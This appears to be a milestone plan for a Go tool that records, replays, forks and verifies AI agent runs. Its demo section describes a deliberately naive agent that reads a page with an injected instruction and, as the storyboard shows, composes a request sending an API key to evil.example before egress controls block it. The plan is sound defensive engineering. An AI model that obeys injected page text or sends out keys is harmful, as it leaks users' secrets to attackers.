Goal. The full prompt-injection story runs end to end from one terminal, and v0.1 ships.
v0.1 must stand alone as a finished artifact. Weeks 5 onward overlap with interviews and are upside, not commitment. If everything after this week were abandoned, what exists here has to be worth showing on its own.
- W3 complete: replay works and is verified on a second machine.
| File | Responsibility |
|---|---|
internal/fork/fork.go |
Replay a prefix, apply a patch, go live. |
internal/rekor/rekor.go |
Anchor the sealed root in the transparency log. |
internal/report/report.go |
Render a bundle as a single static HTML file. |
cmd/hark/fork.go |
hark fork. |
demo/ |
The injected agent, its policy, and a runnable script. |
- A small Python agent: fetch a page, summarise it via the model, act on what it says.
- A local page containing an injected instruction: exfiltrate the API key to
evil.example. - A policy allowing only the model host.
-
demo/run.shdriving the whole thing.
Keep the agent genuinely small and genuinely naive. A convoluted agent invites the reader to think the vulnerability was contrived rather than typical.
Acceptance. The agent is injected, attempts exfiltration, and is blocked — with both controls visible: the egress denial, and the fact that the key it tried to leak was the placeholder.
-
hark fork <bundle> -at N -patch p.json. - Replay
[0..N)action by action, confirming the prefix root matches before going further. If it does not match, abort — a fork from an unverified prefix proves nothing. - Apply the patch to event N.
- Switch to live from N onward.
- Emit a child bundle with
ParentRoot,ForkPoint,PatchHashset.
Acceptance. Forking with the injection stripped produces a run with no exfiltration attempt, and the child bundle records its parent's root.
Say "provably identical prefix, live suffix" in the output. Never call a fork bit-exact.
- At seal time, submit the signed tree head and store the entry reference and log index.
- Make it optional and non-fatal: a network failure must not destroy an otherwise good bundle. Seal unanchored and say so.
-
hark verifyfetches the inclusion proof when the bundle carries an entry, and reports it as a distinct line.
Acceptance. A sealed bundle carries a real log index. hark verify on another machine confirms
inclusion. An offline seal still produces a valid bundle marked unanchored.
-
hark report -o trace.html <bundle>— one self-contained file, no server, no framework, no external requests. - Timeline of events, the denial highlighted, request and response bodies expandable.
- Header shows run id, root, signature and anchor status.
A single file is easier to attach to an issue than a running service, and it makes a better README GIF.
Acceptance. Opening the file in a browser with the network disabled renders fully.
Follow docs/benchmarking.md — methodology is already written, so this is execution.
- Mediated-call overhead, p50 and p99, against a local stub.
- Replay wall time versus the original. The headline number. Report the ratio, the absolute times, the event count, and the slowest of five runs alongside the median.
- Log size per 1,000 events, raw and compressed, broken down by kind.
- Verify time and inclusion-proof size at 100k events.
Acceptance. Every number in the README traces to a documented method and a stated environment.
- Record the incident loop as a GIF, above the fold —
demo/demo.gif, recorded on the box withasciinema+agg. - Quickstart that works from a clean clone.
- The verified related-work table from W0.
- The determinism scoping paragraph, unchanged.
90 seconds. Captions rather than narration. Split screen: agent terminal left, mediator event stream right.
0:00 agent fetches a page containing an injected instruction
0:12 the plan flips; it composes POST https://evil.example/collect?k=...
0:20 EGRESS DENIED -- host not in allowlist [red frame, right pane]
0:25 ...and the key it tried to leak was hark-placeholder-01J8X [second control]
0:35 scp the bundle to a laptop
0:40 hark replay -> REPLAY-EQUAL root 3f9a...c21 (3.1s vs 4m12s)
0:55 hark fork --at 47 --patch strip-injection -> no exfiltration
1:10 hark verify -> transparency log inclusion OK, index 84102941
The two independent controls at 0:20 and 0:25 are what make it memorable: defence in depth, shown rather than claimed. Lead every posting with the incident, never with the architecture.
Scope creep. Everything not on this page is W5 or later. If a pillar cannot be shown with one terminal command, it is not in v0.1.
Over-polishing the report. It is a static file that proves the data is there. An afternoon, not three days.
Benchmarking against a live endpoint. Upstream latency varies by orders of magnitude and would swamp what is being measured. Local stub for overhead; label end-to-end numbers separately.
Anchoring as a hard dependency. Rekor being down must never mean a run cannot be recorded.
- Build, vet, gofmt, test, race green.
-
demo/run.shworks from a clean clone on a fresh box. - Replay verified on a second machine (bundle carried to a Windows laptop and verified there).
- A fork with the injection stripped behaves differently, and provably shares its prefix.
- Anchored bundle verifies its inclusion from another machine.
- Report renders offline.
- Every README number has documented methodology.
- CHANGELOG
[0.1.0]section and git tagv0.1.0.
feat(fork): branch a run from a verified prefix
feat(rekor): anchor sealed roots in the transparency log
feat(report): render a bundle as a self-contained HTML trace
feat(demo): add the prompt-injection incident
docs: publish benchmark methodology and results
docs: v0.1